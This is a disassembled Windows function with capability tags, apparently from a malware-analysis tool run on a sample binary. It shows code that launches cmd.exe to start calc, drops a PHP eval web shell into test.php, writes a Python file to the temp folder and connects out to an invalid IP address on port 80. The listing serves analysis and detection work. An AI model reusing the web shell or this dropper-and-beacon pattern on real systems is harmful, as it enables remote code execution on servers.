Function at 0x1400010d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Get common file path
Initialize winsock library
Print debug messages
Resolve dns
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1830]
mov eax, 0x1930
call fcn.140003610
sub rsp, rax
mov rax, qword [0x140008038]
xor rax, rsp
mov qword [rbp + 0x1820], rax
xorps xmm1, xmm1
lea rdx, [rbp - 0x20]
movabs rax, 0x636c616320632f
lea rcx, str.C:WindowsSystem32cmd.exe
mov qword [rbp - 0x20], rax
xor ebx, ebx
xor eax, eax
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
xor r9d, r9d
mov qword [rbp - 0x30], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
movups xmm0, xmmword [str.__php__eval___POST_attack_____]
movzx eax, byte [0x1400054a8]
xor edx, edx
movups xmm1, xmmword [0x140005498]
mov r8d, 0x3df
lea rcx, [rbp + 0x11]
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp], xmm1
mov byte [rbp + 0x10], al
call sub.VCRUNTIME140.dll_memset
lea rdx, [0x1400054ac]
lea rcx, str.test.php
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001204
lea rax, [rbp - 0x10]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1400011e0
mov r9, rdi
lea rcx, [rbp - 0x10]
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, [rbp + 0x7f0]
mov ecx, 0x1024
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 1
jge 0x14000122d
lea rcx, [0x1400054e0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x1400012b1
lea rcx, [rbp + 0x7f0]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x140001237
mov eax, dword [0x140005500]
lea rdx, [0x140005508]
movsd xmm0, qword [str.Greatpower.py]
movsd qword [rcx], xmm0
mov dword [rcx + 8], eax
movzx eax, word [0x140005504]
mov word [rcx + 0xc], ax
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x14000128b
lea rcx, str.fopen_faild__r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x1400012b1
lea r8, str.print_good_Update_
mov rcx, rdi
lea rdx, [0x14000553c]
call fcn.140001080
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rbx, [rbp + 0x7f0]
mov r9, rbx
lea r8, [0x1400054c0]
mov edx, 0x64
lea rcx, [rbp - 0x10]
call fcn.140001020
lea rdx, [rbp - 0x10]
lea rcx, str.Greatpower
call fcn.140001c40
mov eax, dword [0x140005548]
lea rdx, [rbp - 0x10]
movsd xmm0, qword [str.147.258.44.7]
mov ecx, 0x202
mov dword [rbp - 0x18], eax
movzx eax, byte [0x14000554c]
mov byte [rbp - 0x14], al
movsd qword [rbp - 0x20], xmm0
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400013b6
mov qword [rsp + 0x1940], rsi
lea edx, [rax + 1]
mov esi, 2
lea r8d, [rax + 6]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001382
lea rcx, [rbp - 0x20]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
je 0x140001379
lea ecx, [rsi + 0x4e]
mov word [rsp + 0x50], si
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x52], ax
lea r8d, [rsi + 0xe]
mov rax, qword [rdi + 0x18]
lea rdx, [rsp + 0x50]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, rbx
mov dword [rsp + 0x54], eax
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rsi, qword [rsp + 0x1940]
xor eax, eax
mov rcx, qword [rbp + 0x1820]
xor rcx, rsp
call fcn.140003020
lea r11, [rsp + 0x1930]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
xor eax, eax
jmp 0x140001392